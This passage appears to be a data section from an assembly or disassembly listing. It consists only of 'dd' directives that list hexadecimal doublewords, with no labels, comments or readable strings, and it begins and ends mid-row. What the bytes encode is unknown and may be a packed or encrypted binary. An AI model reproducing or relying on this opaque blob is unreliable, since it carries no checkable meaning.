0F312DD93h, 114A7B63h, 4D2F4FCh, 13749C39h, 5E716F01h dd 7FA41F4Ah, 93CF0B22h, 732794D9h, 0FA5D1250h, 1F0FCC28h dd 2A2EE9C8h, 0B669C9CCh, 7E61E02h, 7767A882h, 0C32FB444h dd 0C7AD7602h, 9877C97Dh, 0B7D44644h, 0D9890230h, 6B76719Fh dd 0D1BF53F0h, 95C4737h, 51E50748h, 0E373F39Eh, 0C1FEC1B1h dd 0E1D00241h, 9C80089Eh, 59CC00D4h, 5058E328h, 32E8B026h dd 48506410h, 0FC302F95h, 0E3880818h, 0ED4ACC90h, 2BEBA741h dd 0C03E0371h, 0C4BD5589h, 74CC3D13h, 42AB1701h, 7C033217h dd 2930B417h, 0C56AB911h, 66F195E9h, 0DD06882Ah, 4E019C40h dd 3BEECD6Ch, 275D7DF4h, 8CD42D58h, 796A45A9h, 0EAE95582h dd 80C71B5h, 163E56B9h, 61CA592Fh, 2D9CA34Bh, 0A59DD15Ch dd 5034DC46h, 528131B8h, 463C89F0h, 633DEE09h, 0F24C59F8h dd 0A2E412DDh, 3D6FC8ABh, 4031515Fh, 4F44FC94h, 5ACE6280h dd 2380974Eh, 794655C8h, 9209EBECh, 42D394B0h, 1466DDA7h dd 0FBCAE92Ch, 2B33B992h, 5C65E2CDh, 1CF92D41h, 0A9571F17h dd 91D287B8h, 0B8EC8AD2h, 0B8014447h, 75B1202Ah, 2EE58839h dd 73270BEBh, 0D3E984D5h, 0AB9394EEh, 0D445AE81h, 1A950004h dd 0D11D137Ah, 5E48E027h, 2063267h, 20387855h, 6816EB1Ah dd 27F3578Bh, 7EE6012Fh, 0D9C12127h, 0A8B1A628h, 3084003Eh dd 0DDF7784Bh, 0C172EDD1h, 5E560C4h, 3DDC4280h, 11E06D3h dd 59C2E9EEh, 0CBBBE1Eh, 0BDE1D14h, 745DF496h, 25DE20AFh dd 24535150h, 271F97A1h, 996197E0h, 10D039F0h, 0D484A22h dd 5F2BEF25h, 0A1F63552h, 5816B06Bh, 0D50B322Fh, 0BDC1D00Fh dd 0C4EE6C9Fh, 0D16BF05h, 0ECF3D0EFh, 73B503FAh, 0A333083Bh dd 0C5AABB12h, 905FB24h, 6C15B08h, 0A1964FD1h, 0DDE8A229h dd 52BB85BDh, 0B3F12A9Fh, 92DD56Eh, 79DA052Eh, 86224D06h dd 0D324292Eh, 0B240AEB4h, 0BC0F05D8h, 1FE165Ch, 712CABC7h dd 9C2482Fh, 0B757F81h, 2544800Ch, 457126A8h, 6A2C2FE9h dd 5C145C45h, 4C2F761Dh, 0F6BD6EACh, 95E4540Eh, 6D064EBh dd 2D01E691h, 5F3DE2F7h, 5C12FA15h, 33CA5EF8h, 13DFA49Eh dd 0FC9F0105h, 0F859CB08h, 8DDF986Fh, 284CD880h, 0BFD98777h dd 192EE8Eh, 9A58664Ch, 0CE107A9Ch, 154C43AFh, 84FA4F03h dd 6802FE26h, 6EF12A42h, 4CC54C95h, 99AEE417h, 24B23F9Dh dd 0DC93A1DDh, 0E052AAD2h, 2D68FD45h, 2C1927BDh, 75E01426h dd 0CD5B5B9Ah, 7DE16140h, 0BD2F7F5Bh, 0EF8DFC12h, 36A25869h dd 0C155F430h, 45AEF92Fh, 0F2830851h, 0C908E92Ch, 0ADF6809Bh dd 299CE491h, 97B59BDh, 4AD1B30Fh, 0F22DC587h, 57E4FC57h dd 5A0115E8h, 0ED8073B5h, 0A0403014h, 286DD82h, 78CFFF5Fh dd 421B9A5Ch, 3EC2D529h, 51A0FA43h, 80F290B5h, 9412286Eh dd 0F5F411F3h, 5E5CEE2Dh, 88EB0CB4h, 0AF41589Bh, 35D75E95h dd 5B775D10h, 48077B5h, 0F850F181h, 0E913F2A1h, 9B976E0h dd 89693D31h, 4EBD66DEh dd 12215128h, 4095EF0h, 0B76AA34Ah, 708D5E42h, 0A3D7842Fh dd 0E0D31A4Bh, 12657222h, 4E0BEB68h, 4F580F0Dh, 701D49F1h dd 0C9812CB9h, 206506C2h, 17B81883h, 0CF0316C3h, 303EC7E9h dd 790C0935h, 6C027C34h, 40BEC6Dh, 0F9BDE1CBh, 433FA13h dd 17DE88F8h, 2A31BFF5h, 507D223Ch, 40539EE7h, 959A5D71h dd 3BB57B74h, 0E884DA22h, 0B8885B48h, 0C5FD5F62h, 2D817DCCh dd 0E153487Eh, 5A00F075h, 98C231h, 0AF244D5Fh, 46F84AEBh dd 0C68385EDh, 0C598EA01h, 0A8F1296h, 0B412126Ah, 4A2DE9D4h dd 0ED4B5CC3h, 8B753239h, 0B3D5052h, 701E2BA9h, 72036F6h dd 8BB85A4Bh, 8B41FCCBh, 105832D2h, 0B803BE58h, 6B3D0F25h dd 2AA29FD1h, 9E5CA2C8h, 0C5133E4Bh, 88EAE64Ch, 40FE2883h dd 0EB2EC1D9h, 30024C03h, 0C03B1F4Eh, 1F54110Ah, 42493EC2h dd 2E4376E1h, 0A8A1E0F5h, 5B4277Ah, 0CEA2EE60h, 9BF242A4h dd 2320F14Bh, 9F173468h, 0A02F46E6h, 3DF1FBADh, 14AED418h dd 0B65061B3h, 0C7417FD0h, 8657323Fh, 5350A6A2h, 2E8ED5C1h dd 0F20FD2CCh, 0EC4060ACh, 304108F5h, 0DF4AC2B5h, 82599509h dd 68550830h, 0F2660BC8h, 2B8B5D2Fh, 87F52800h, 0E0B77F4Ch dd 257799A1h, 0C9F4EE92h, 7DE7823Fh, 0F9081F31h, 72BE81D3h dd 70DDB42Eh, 0E876E930h, 22167A99h, 0CB0BD1Ch, 5F215EEBh dd 82FAA837h, 7EA5ADE9h, 91CF650Ch, 6F5401F9h, 0EBF1A789h dd 0F913162Bh, 78E2D2C2h, 4AEF8386h, 5BD40E20h, 92A0B35Dh dd 7B2557E6h, 1CDF04C2h, 628096EAh, 11770966h, 58024B00h dd 0E12D4B57h, 0CD306187h, 33029564h, 0E1402959h, 5C806F63h dd 5F681666h, 727E971Dh, 187D3E78h, 9DA30380h, 6694B3CDh dd 251B58B4h, 56852128h, 5F3FBA52h, 0D224CA69h, 8CD04E99h dd 5BAD36F9h, 3FBF41D1h, 0F9F5EDABh, 8FC02EDAh, 25C615A9h dd 8E7E2930h, 5A040820h, 8C3E955h, 0B86475FAh, 75F85A70h dd 7AB781F5h, 78B62BC4h, 0E993497Ah, 7CFEB65Eh, 6651962Fh dd 84DE2043h, 6EBB5303h, 0D903914Eh, 0DC2EF3B6h, 77822924h dd 5C580EB3h, 33780058h, 0E5E9409Dh, 3CAABA6Ch, 322D34EAh dd 6A680C01h, 0DF08244Bh, 0E185AE66h, 6E1A2EACh, 699642D5h dd 5C707B08h, 0ECC14B31h, 0A5F3B071h, 38620E03h, 7D6342C7h dd 8E62F55Ah, 48B8E90Eh, 0B7EB019Dh, 0D9B5E71Eh, 85E94192h dd 0C8317A0Dh, 5600A6AEh, 371661BEh, 59EC3C42h, 2DF82873h dd 0D920CB0Ah, 80419584h, 4F142FD1h, 9D2642D3h, 5C4920F0h dd 80EE3405h, 97FF7DC3h, 35095BA1h, 3F70BA5Eh, 56CDD4BDh dd 1892D25h, 98083853h, 0F05632FDh, 0FCFF43h, 1F1446BEh dd 0A920B74Ch, 393854EDh, 41D30CC0h, 2FE95E64h, 3E99DFCCh dd 24C52BEBh, 138268AFh, 86C9BC5Eh, 95787CE0h, 6358FAE8h dd 205E4697h, 0B20E7288h, 41442C20h, 4D0287Bh, 56E37FD2h dd 0E9C801D7h, 2CF97480h, 0F0285517h, 0C0FAB800h, 5CF604E5h dd 8404DEDDh, 0AD922EE9h, 325BCD08h, 0C330A06Fh, 50AEB150h dd 0B3535105h, 3283FE2Ch, 54A7271Fh, 71B04880h, 0D2983BEFh dd 38580E7Eh, 34C500AEh, 0E9906867h, 90715F70h, 6089DDDh dd 6A9C049Fh, 0E5555C09h, 6B36A628h, 0BB389E05h, 2B80CCDDh dd 0E46660B8h, 6462BD73h, 85C5310Bh, 53A489C0h, 0EE6517C7h dd 49C91D60h, 0AE808379h, 65CEDCFh, 0E94F5625h, 332102C5h dd 5B7A0EAh, 251BB27Bh, 0B8AC8980h, 57603420h, 837C65Dh dd 187362DDh, 0D20B95E7h, 80452993h, 0E47F4FB2h, 4BBB81E0h dd 303CF065h, 4801341Ch, 0E94251D9h, 322BC0A5h, 77F6157Ah dd 23B7B00Eh, 0D9C728F1h, 20237EACh, 684B3C4Ah, 92790625h dd 0F1820372h, 0C172D060h, 870503E7h, 0D0F793DFh, 0D17B0C9Eh dd 0E15DE92Dh, 2E6F56EBh, 84111044h, 1A9B004Eh, 0FA018EA0h dd 0D058AD94h, 0C9D3A2E9h, 37DC0256h, 0BD129260h, 2C475E64h dd 0E15B6949h, 0D36CFA41h, 86A9E24Ah, 7DE5E269h, 25D29E08h dd 68043A56h, 0C2936DA0h, 8E3E55Eh, 0A3704B7Eh, 3E543281h dd 0CF9C5596h, 800B9299h, 0BC293352h, 88A598EFh, 72249A4Fh dd 65172CFFh, 79B53F9Ah, 0D718C2C9h, 0D2D80F0Eh, 0DB53DE16h dd 6BB129FBh, 0BF573BC1h, 5537E908h, 68D19FCBh, 202E20B8h dd 0E99AB72Ah, 2730FB49h, 5AD5F95Ah, 4A88CD56h, 0D49827EBh dd 30E4D001h, 3AF2585Fh, 974115DAh, 4E1F28B9h, 0A91000B8h dd 0A3E640F2h, 89C4874Ch, 0AFEF93D4h, 58A92BD5h, 4937C501h dd 0DC4D623Fh, 6B1834E5h, 0F21A6C11h, 9FFF2DF6h, 0C06C5462h dd 8C5D995h, 5B1746FBh, 0C5A28F04h, 3BAB470Fh, 0C2898956h dd 0AF22D702h, 0E77F5DA4h, 8BEF90D6h, 7279545Ch, 613F815Fh dd 0CBF04B44h, 0BF7F1834h, 711F0C51h, 0E0736E2Ch, 82090117h dd 7B1A8504h, 0B4AF96C4h, 27B292DBh, 0ED55E095h, 482916BBh dd 65B5877Eh, 0F54EAE97h, 0C6BCB753h, 0A67ABBC1h, 4CB6E3Dh dd 59854607h, 0C2F185C2h, 3D0FC88Ch, 0FD53979Ah, 8D200A6Fh dd 2672CA5Ah, 6F404055h, 38D01745h, 0E583B089h, 1810035Bh dd 6BB206D3h, 20C7AA0h, 53BF0972h, 0D1D6E901h, 75F15159h dd 0E8C18275h, 0E4B5FADFh, 884609C3h, 2F7A1ADh, 3CA2136h dd 0FBF080F2h, 5A9D2D4Ah, 12C9B008h, 0F9B1ECE9h, 0CFA2D637h dd 0DB2D5F3Bh, 0BABE7404h, 5E2454CAh, 0CAB3E2CDh, 54616801h dd 0C2F28D2Ah, 0C6906AF7h, 6D5059C0h, 92DEE9C2h, 4D602D5Eh dd 9770CE76h, 0BEC2E868h, 2D9E3202h, 645064E9h, 0EC4C0AB1h dd 16864918h, 4376D38Ch, 3BBB20C1h, 8258CC8Ah, 0EA38CB2Dh dd 724D9E68h, 56598977h, 4768DA68h, 64814F25h, 6954DE34h dd 1E341045h, 105AB0BCh, 0BEC0FDBCh, 30E15310h, 0F6D12482h dd 0EA80D218h, 9DDEC76Ah, 681C424Eh, 4F384C87h, 0C5D2F2E9h dd 0DB32BA35h, 0BEFC4830h, 0FE0E126Eh, 9800BF5Dh, 95A1EB81h dd 807B4F14h, 0D55AE9A6h, 0BA59E8BDh, 2F87B28h, 6851112Ch dd 0A2664610h, 981ABFB0h, 5F7BD1E9h, 0C2573E32h, 0CFC75F3Bh dd 3D44B708h, 1E67B4DEh, 17F75840h, 0C8BE56D9h, 8748CE80h dd 8BC411D3h, 15EE8100h, 1556F07h, 719CE4Ch, 279E3169h dd 33A0E1E7h, 0EDE948F6h, 6809EE6Ch, 19A0E17h, 3909DD40h dd 8B0D992Fh, 9D208AFh, 0BEE310Bh, 0B834D5C3h, 117E917h dd 0CE8555ADh, 3CE5D90Dh, 9DF6A400h, 555FF80Bh, 604CEAB8h dd 0A208182Dh, 9D78763h, 7C1C0502h, 15E39975h, 754BA255h dd 821BDF93h, 7EBF86F9h, 29587142h, 0EA054B7Ch, 90680245h dd 0F598B770h, 488261EEh, 3B64DBD4h, 0C30E0DE6h, 0C2098A09h dd 0E940B5FAh, 289F4027h, 3F2024B0h, 2D315EF8h, 0C21C40CEh dd 164C7976h, 0E06710B1h, 0E281AC60h, 0E3267EFCh, 9C065E42h dd 50CA33Eh, 0CC375AC7h, 9E89FF7Ch, 0E94A11BEh, 5FC789F8h dd 87ECE2E8h, 40C5D082h, 0EBB52963h, 0BC1616A2h, 5069DC95h dd 0A8BE8AF8h, 2289461Dh, 0BA98D5BBh, 0B3AE8C1h, 64680B31h dd 8D995127h, 7A67DD14h, 9EBD6117h, 0E3765B27h, 1EA8F26Fh dd 8995315Ah, 7AF0F4F3h, 2C591D4h, 1D9047Dh, 0A73803D8h dd 47F31D04h, 74C7C128h, 0BF005CE4h, 4791F98h, 3E1A6813h dd 0C5DD9CF8h, 0BE3DC415h, 23158985h, 9690740Dh, 42802C09h dd 50C4F067h, 88FB8B57h, 51136BF6h, 1CAF1ED8h, 0C4E6DC94h dd 0E8466FE9h, 0C2F693FEh, 0E7D25C2Dh, 17B74220h, 8C74D268h dd 0E9D3D6F9h, 8AF701AAh dd 0FCB412C9h, 79F58C3h, 0BAE4E9DFh, 2BFB5A94h, 64F85A92h dd 30E3A4DFh, 5BDA213Ch, 58B5F773h, 7A5E09F8h, 0CC800796h dd 0BED28D56h, 156CD4A0h, 0E97E980Bh, 50FE22Ch, 0D2AA05BBh dd 6AD52DD6h, 0EF5741EBh, 0A1932162h, 0BDEF811Bh, 333F421Ch dd 0B5D308E8h, 892FBDE5h, 15475D79h, 801CDA10h, 14752505h dd 967BFC55h, 0CD80049Dh, 0EF7BCCBh, 0C1F5283Eh, 0A7B4505Ah dd 0E61BC4F8h, 0C6261F4h, 7FDCF6FFh, 61EE6087h, 58E5287Ch dd 5D499AFBh, 0ED80080Fh, 0E9A1B21Eh, 94F7372Ch, 821CF558h dd 62BD1D41h, 62F49E42h, 83A330E8h, 0A45C84B5h, 0EC728820h dd 8A2DE35Eh, 0E72CA3EDh, 0C76FB9D2h, 0F7E55752h, 844A08BCh dd 681370D5h, 74953325h, 3E64CB52h, 4E0D6816h, 7C259760h dd 0A0654A8Dh, 0BF27E13h, 3C944A48h, 1804B0C1h, 4E62D022h dd 8368810Ah, 18B33AEEh, 0C3C7B596h, 81519118h, 2548491Ah dd 0F47E2B9Fh, 31120720h, 0D5A35FFEh, 1BA125Eh, 0DFE90A34h dd 0D20E72C3h, 5026A405h, 6F949B44h, 0FDE78100h, 34507444h dd 3A13CDCDh, 99007A71h, 8D966B51h, 0EED29D05h, 0E9173B98h dd 64CDAE06h, 494E9077h, 9222CE5h, 0C654454Dh, 7CCE2109h dd 5059E210h, 10D955B2h, 5922C89Ah, 68574022h, 0D1C521D6h dd 6CEC8750h, 0B00BE5E7h, 201ABF52h, 0DC98BD53h, 1B9B0EDFh dd 0DF09324Fh, 0C6C4DF54h, 646E95A1h, 0E91DD8C4h, 5FB64DECh dd 0FCDFC782h, 5F9C89F4h, 95E95E40h, 63B5755Ah, 40345E62h dd 0C445AA8Fh, 75AEA2EBh, 164FB274h, 0FCE34042h, 22839A65h dd 246156EFh, 5CF85166h, 45F32B87h, 0BF2852Ah, 4DF54ABEh dd 0A02EB684h, 0D295BD10h, 0C634F4BDh, 62CA2993h, 516D7E34h dd 4388B8A8h, 78ECB716h, 0CF204238h, 0B56559EAh, 69D4CD24h dd 68B99CABh, 0F0DFB24h, 16029768h, 40750E72h, 3F5E2E92h dd 78C111A8h, 60C60284h, 0DA84D247h, 74B5081Eh, 0C8023720h dd 80EA4BBEh, 0E75E95B6h, 0C3EABF15h, 7173080Fh, 5CFD934h dd 1B1A1980h, 211F5DC1h, 6FDDCA02h, 0F26067B2h, 58E41025h dd 97A0894Bh, 121E69EBh, 0E2F9F282h, 9C98700Bh, 13E9E1B9h dd 7D307951h, 0C6BC034Fh, 10EEF693h, 4E25885Bh, 5E443474h dd 0C28F37EFh, 2A72ABB4h, 6880EA73h, 0E177701Ch, 0F1F1D83Ch dd 5D37A5C4h, 2109B11h, 37CC4450h, 6275C36Fh, 38D7CB58h dd 1334B9A4h, 164E875h, 3D14C53Bh, 0EAB7406Eh, 2D500E27h dd 5D3975AEh, 0F547A4CDh, 555E6227h, 6884286Dh, 0A2A850B4h dd 80A0ECD7h, 72371631h, 2ABD0155h, 0E970CE32h, 77072B1Ch dd 4161402Dh, 8B2B50E3h, 53061643h, 24C117DCh, 33608E7h dd 7EA74A91h, 40CDE2CBh, 11A9F2FAh, 419005CCh, 6B39FD02h dd 0E1D729F5h, 9780D566h, 3E0173B7h, 0D5F9514Eh, 4C977EA5h dd 13E37609h, 2EE5AC73h, 0BD162F9Fh, 6BA202B8h, 0C4810E78h dd 9DE8150Ch, 7E8899A4h, 4BA80C52h, 1E8E0200h, 0E9289405h dd 48DAC8EFh, 8EA81F92h, 0A10B4AEEh, 0B2983DBh, 31850203h dd 4EE4746Bh, 2E387B48h, 0C00915FDh, 0C9EC5ECAh, 0FB0B40DEh dd 6027FC72h, 1BA24C9Eh, 0DAF25F4Bh, 93277F04h, 2081FBE8h dd 5802C4A5h, 9F8761h, 9F5D4568h, 2B2D09C6h, 0AF8B515Ch dd 2D762CAEh, 0F22C2AB4h, 535BC0BCh, 0F557FDBBh, 27B97D5Fh dd 2985BCAh, 14A92C85h, 484CB78Fh, 7409DC32h, 40093128h dd 0B9E5918Bh, 0F1F781B1h, 3A376C68h, 0E11E6731h, 0AA08352Eh dd 0D9400639h, 3BF962A9h, 50780167h, 0B75808E9h, 0C74A7364h dd 681DB3F3h, 0CE5B25A8h, 49E95202h, 45A27DDEh, 520C7462h dd 0A10B0F1Fh, 4B9F0159h, 0F6DC3FB2h, 9ECFD63h, 77A6BE37h dd 71ADEB22h, 685B5400h, 385D5519h, 9269EAE0h, 5036204Fh dd 0ABF6801Eh, 48E3E60Bh, 0CB998C88h, 0DE02C61Dh, 6801EE67h dd 85C34365h, 8FC32CBBh, 0CB3D5C95h, 5B32145Fh, 0D9279D5Dh dd 0FF85047Ch, 246FE808h, 0D3F51C3Fh, 0F394109h, 3AD2F6A8h dd 665C1B30h, 5A44C58Fh, 84A025C3h, 5DA0091Ah, 0AE6894C0h dd 2EE3414Fh, 629D0979h, 29960306h, 5FC25A0h, 13283122h dd 0F76BB9E9h, 680D614Eh, 1F237591h, 0B766986Bh, 63685A09h dd 331E5F60h, 0AD4AD498h, 0B04B52B6h, 0DC274308h, 81041108h dd 3D45082h, 0C2DF7FA6h, 4B987438h, 457F2455h, 0DD52CA92h dd 31A28145h, 0B8E38926h, 4D1F1A00h, 6BD58709h, 91570642h dd 0DF7E5DDEh, 5C011670h, 0C227F2E7h, 4D1605D4h, 0B8C57090h dd 9BD89F4Ch, 5FE4E504h, 0D4F67DBFh, 0F587EE04h, 50C5FE5Eh dd 659403BAh, 1C4851AEh, 21807863h, 355D00E8h, 6A752B92h dd 9609B951h, 893E6529h, 349985B0h, 20E55600h, 9D0CFE6Dh dd 271C2844h, 0F4A87726h, 6736CA07h, 58C0211Bh, 5933E945h dd 1E040091h, 0C0342B64h, 6204EE4Ah, 55E9D409h, 208BDAD0h dd 89BF844Ah, 0CC5810F7h, 0BF23C94Dh, 50082BFDh, 89A9544h dd 880FF157h, 5E09F0A0h, 0F805555Ah, 0D6EEC25Dh, 2A85BDEBh dd 2023B001h, 76060E47h, 2286465Eh, 0E200883h, 0EE1C20BDh dd 280B3C31h, 89E9BC7h, 2F20605Ch, 22432029h, 30A2F831h dd 888C3C2h, 0D808667Ah, 0CD050863h, 8EB4708h, 0F308E97Ch dd 0D8B108ECh, 8B5D208h, 0C11CF7AFh, 13C06031h, 0FB64088Ch dd 0F162F218h, 2C73B08h, 9C029A4Fh, 0B2680F4Dh, 893971B1h dd 15F7401h, 59018437h, 70588C7Ch, 40970887h, 0D1623888h dd 6551720h, 8531298Dh, 1044189Bh, 10FED607h, 0B1DDAD32h dd 36080F3Bh, 19ACA415h, 4E104B87h, 0C6B7BC51h, 90FC3A01h dd 731862F1h, 9C6E08D0h, 834528C6h, 98393108h, 88DCCC18h dd 156E5F08h, 2B19985Dh, 98B499ADh, 0C8916808h, 8A0D801Fh dd 8858C82h, 0D0354051h, 0CB31E064h, 18631912h, 0CADC5134h dd 1319054h, 0ECF93531h, 6B088D58h, 0C9C92878h, 65120888h dd 8C17608h, 0BB0C6DE7h, 408C3051h, 73634175h, 3172B610h dd 0F21F108h, 8B089D3Fh, 6F3B3160h, 99070C30h, 1E088099h dd 771831D3h, 21B3821h, 240C4862h, 6D10CA0Ah, 2C8F8C9Ch dd 10C47A61h, 64063242h, 0B5670869h, 124810F1h, 31C4425h dd 0A2DD049Dh, 8C90CC0Ah, 0DBC1134Fh, 22EC18C4h, 4022A509h dd 95038485h, 0C80944A8h, 66A1C6E3h, 0ED3108F0h, 0F753386Dh dd 173CD01h, 8302F8A6h, 5CB4048h, 804BC280h, 0B892579Eh dd 63B3FD40h, 44A72025h, 0C8D10818h, 81962318h, 0F368249Ah dd 0D2599466h, 0C4D59808h, 4C43E08h, 0C106C3CAh, 0D320388Eh dd 0D8633482h, 0C0C04841h, 24905B89h, 0D60A1D90h, 46E492E4h dd 108B9CF8h, 20655E20h, 972041DCh, 8E62093h, 31B16C20h dd 0EE084CABh, 0BB2C346Eh, 0A96B6880h, 0C5018AE0h, 5C580176h dd 8879F001h, 875AF08h, 33093111h, 0B18C2C96h, 190340FBh dd 5110B962h, 7D02024Eh, 20B1EA06h, 26629ED5h, 0ED6909h dd 0E8FC9C60h, 0C027A499h, 0CE45C79Ch, 3BBE8B1Eh, 4042DF93h dd 752C474Fh, 1331EB02h, 0A7B90E89h, 5003DBDh, 408F4401h dd 0C90B0B49h, 0E8BF775h, 0DE043DF7h, 15B9F003h, 0C0333C70h dd 4FB10F06h, 0E0B72C30h, 65166CBh, 0E954B050h, 2AE15486h dd 0A0A549ECh, 7B1F8C38h, 0E3876199h, 45B51EEh, 59C7BAF3h dd 80EA5A04h, 55EAE9CFh, 0F21014Ah, 0A32A243Ch, 0B41C6AAh dd 18DBB52Ch, 0C965482Fh, 169E4E68h, 3FC10DA4h, 1F28730Ah dd 0A84A5DEEh, 13BBAAD0h dd 0C3E31ABBh, 1DF1A11Ah, 3615F760h, 2D0E1100h, 6AE34DF0h dd 6CE20025h, 91052185h, 3A0CCF04h, 36D8F7E9h, 0F95B5A59h dd 0C08C34Ch, 5D05A85Eh, 0FEF80563h, 0D0C6C3E9h, 1CC1EA38h dd 5F61A613h, 55A222C4h, 7C4B6809h, 530861FBh, 68C049BBh dd 2EB89A3Bh, 0F6028B27h, 0D6CBACh, 4C680F3Ah, 0CFD1133Ah dd 0BF00FF15h, 0BC241350h, 4002262Eh, 0FE56C047h, 0BCEE2158h dd 0BE7D9916h, 11397739h, 10E0423Ah, 0D4685551h, 1AFD2803h dd 13E5D15Dh, 0E071E904h, 765CBE2Eh, 83330951h, 96A78EEh dd 5D9C4017h, 0E96D405Fh, 2ED769B1h, 74496A71h, 0BF41E205h dd 1D2944D5h, 838105EFh, 13E05B87h, 52BECFB0h, 0B07CCC3Fh dd 0FFE41FE7h, 1EBB4AEAh, 0ADD7A9F6h, 81021B14h, 383D70EBh dd 846AD75Bh, 0AF5E080Bh, 7AF36704h, 81DA91EAh, 0C3BB8141h dd 25B7380Eh, 0FE20382Dh, 8CBD5503h, 0D9CFDDCEh, 0CB98676Ah dd 2BB4214Ah, 3EEC7297h, 0F597BFF7h, 40A3E5A7h, 8673D19h dd 47256E7Dh, 72657630h, 0F162AA56h, 2230575Eh, 5E82795Dh dd 0EDA0930h, 156F866h, 359950B9h, 0F73B8C64h, 5230A0E8h dd 207945C8h, 50205897h, 18017C14h, 0C6AA30Dh, 0F0001E56h dd 57FB292Eh, 7149DBFh, 0D147113Bh, 27CB3AEFh, 0AA03CA5Ch dd 505AE886h, 0D303522Ah, 3ED1FD88h, 0DA5D3DD3h, 0CD08CADh dd 0AA405B27h, 0A03D42C0h, 820E6074h, 268BA5BFh, 2409D601h dd 622A81Fh, 1650BAF5h, 8E641841h, 11F354BCh, 5C00513Eh dd 0E949B701h, 0C2E1361Bh, 555A1AFFh, 48F4570Bh, 0BC4F2970h dd 9F424959h, 0AFE3E7FDh, 3B1FB0C9h, 1BE78914h, 93AC4A45h dd 0FB8A03CFh, 291FDC30h, 5E906FC6h, 0AC31D368h, 47920603h dd 4813E255h, 4F5B5D0Bh, 0CA4E04Dh, 51091E1Dh, 63E8CD81h dd 834101A0h, 4BCC4241h, 74CE20E9h, 343B2D02h, 40522C93h dd 4409CCFh, 0D0F70913h, 4F6DF348h, 2558E2C0h, 8E300093h dd 0EC1A2D5Fh, 0F2CB9873h, 1BB6DEC3h, 37A2D258h, 390EDD09h dd 0DD984FB2h, 0E256193h, 0D6F70041h, 8EE3DC1h, 144FC519h dd 46A02B58h, 0CA41F587h, 19AF2D88h, 0E9100D1Eh, 112C062h dd 0FC8202DFh, 60578809h, 25194112h, 0DBF057DEh, 797E18A0h dd 0D7BD8F50h, 33E65A4Bh, 1C12CB5Ah, 26497305h, 0D5CC8708h dd 2D515051h, 2E602D4h, 4538054Dh, 8F73310h, 0E9050762h dd 0DE4F8444h, 0F62C4268h, 0CFF2C078h, 4DEBEE1Dh, 7B0C6425h dd 0E67C60E2h, 5BB75095h, 44FBE489h, 0E986D12h, 40F9F01h dd 0C822EFDh, 0D4F0431Ah, 651D61h, 0E48CA80h, 0C2FED2F6h dd 0EB16F2E4h, 3FB14107h, 0D889E9F3h, 772867C1h, 1C4E28D9h dd 0A162B7D6h, 618ACC02h, 5FDD6803h, 311CB50Bh, 7C14EC7Ah dd 9A4A4B1h, 0EEB0108h, 0ADEEA83h, 279E846h, 42BD3978h dd 2BC636C1h, 603F35DDh, 69D9EBE5h, 0C0204626h, 50050848h dd 42BB038Fh, 12B9893h, 5AC853C4h, 1DF93BEh, 0B36A5C56h dd 7A7B2030h, 2B276C0Eh, 36154DE9h, 4904F469h, 80266D67h dd 343A6307h, 0C7846F4Ah, 7030A486h, 595E97F5h, 31960550h dd 0D07CC5D2h, 0F35102B4h, 43E313E5h, 463BBBF7h, 3C536BB1h dd 5B1604D3h, 63D45D1Ch, 3189071Eh, 69F1F1D6h, 78E0A00h dd 609D11A2h, 0D5460D9Dh, 0F8D65BCAh, 0D2EDA49Ch, 0E202C22h dd 0EBC114FBh, 3800B806h, 903A23Bh, 0E91A1C5Fh, 57F4BC6Bh dd 2229D7CCh, 4F00D1A8h, 0F733C056h, 1010C2DBh, 0E162324Eh dd 0A747E57Dh, 0D716B57Bh, 20A66F57h, 6D250B05h, 12870048h dd 4A310108h, 50C1C14Eh, 348EDD5Fh, 0FBE444B7h, 0C13E9086h dd 9F0958h, 6561E24Dh, 9A725845h, 5737C06h, 0E0040C57h dd 11B3FF1h, 0AFE927C0h, 0E241C918h, 6A75D02h, 0EAFA0500h dd 21FE1F48h, 55AC09C2h, 2D584757h, 0A84E94F4h, 0BE6816FAh dd 515E780Bh, 0AC0049CDh, 32D80556h, 9A1214Bh, 960BE02Eh dd 4AA641B7h, 2CE8D37Eh, 555B3CC3h, 0C2B7FC9h, 0BF9651F1h dd 15C27F82h, 81F04DDh, 0ABA459B8h, 68E9EED1h, 0DFC2A621h dd 0D800F8E2h, 0B7F52FE2h, 292800BDh, 0A2244A2Ch, 7904F5B7h dd 16D68007h, 0FE950131h, 11E9D804h, 79FF49Ah, 8A84C94Eh dd 0C024B9BDh, 0A85C9725h, 7D8B686h, 8853F2B1h, 5BFE20CFh dd 6FF92C59h, 5A49B387h, 0BB3C3555h, 56738134h, 619421D4h dd 64B2F473h, 51D85281h, 6CB1D911h, 0A2A27F54h, 2DCDEF10h dd 3912FC88h, 31252BC8h, 0AAFC7C0Bh, 298C88h, 0D4121ABDh dd 0D55FF74Ah, 0DE60BAB8h, 4F787C51h, 5FFD0916h, 16FC44C8h dd 0F27AFEDEh, 0CFA250E9h, 0CB847495h, 8A2E2EFAh, 48A51ACCh dd 5B1FE522h, 0F432B4BBh, 160239E5h, 36092AE3h, 0AE85831Bh dd 0ED82955Eh, 78307FDAh, 35D41137h, 7E842F90h, 6413E251h dd 765DF620h, 4E1E301Fh, 0D8A1A50Eh, 0F229F307h, 79C93AE9h dd 478F8063h, 0EAD14E4Dh, 70089898h, 25CEB10h, 84324C4Bh dd 0E0AB085h, 0E4B287A5h, 0F8AE3454h, 0D9C9E912h, 5474D8ABh dd 0B7685D09h, 50165F2Bh, 41699C98h, 0F3F3225Bh, 6007D414h dd 635E3FC4h, 6C42C095h, 0EE2ED245h, 5201462Ah, 0E0E9BEB6h dd 0F3258278h, 826B0965h, 0EDFF597h, 0BC9201CFh, 0DCB4D39Eh dd 0B71927E9h, 52F2D1C6h, 6095E52h, 0FBE6851h, 9A0824CBh dd 18C2A486h, 0E4BDA819h, 6E7B451Eh, 7FAA6489h, 5577761Ch dd 4E71F0BAh, 509C829Dh, 5AE3C156h, 2DFAE72Fh, 590E7C5Ch dd 0A3DB2FE5h, 99BD0860h, 3D605A6Fh, 0A5906B2Ah, 0BF690C2h dd 22394B88h, 246EB0Ah, 65D23F09h, 5179A80h, 0D12C2849h dd 0A4A829E3h, 0D9010B2Dh, 62AA0B4Ah, 20A326AFh, 96D132B7h dd 2424A818h, 9D70E709h, 0FCC1580Dh, 0FCD05BCEh, 0EEC0C637h dd 0A852058h, 5A703BFh, 0B10E1307h, 594EBABEh, 4D1AD24h dd 0FE740E96h, 0A003730Ah, 8309E2A8h, 6B53617Ch, 3B1F9844h dd 130348FEh, 79224B00h, 47D7F717h, 0A101AEB8h, 0E9E670D5h dd 0EB04C2F8h, 0A4F0F5D9h, 0BCE4978Eh, 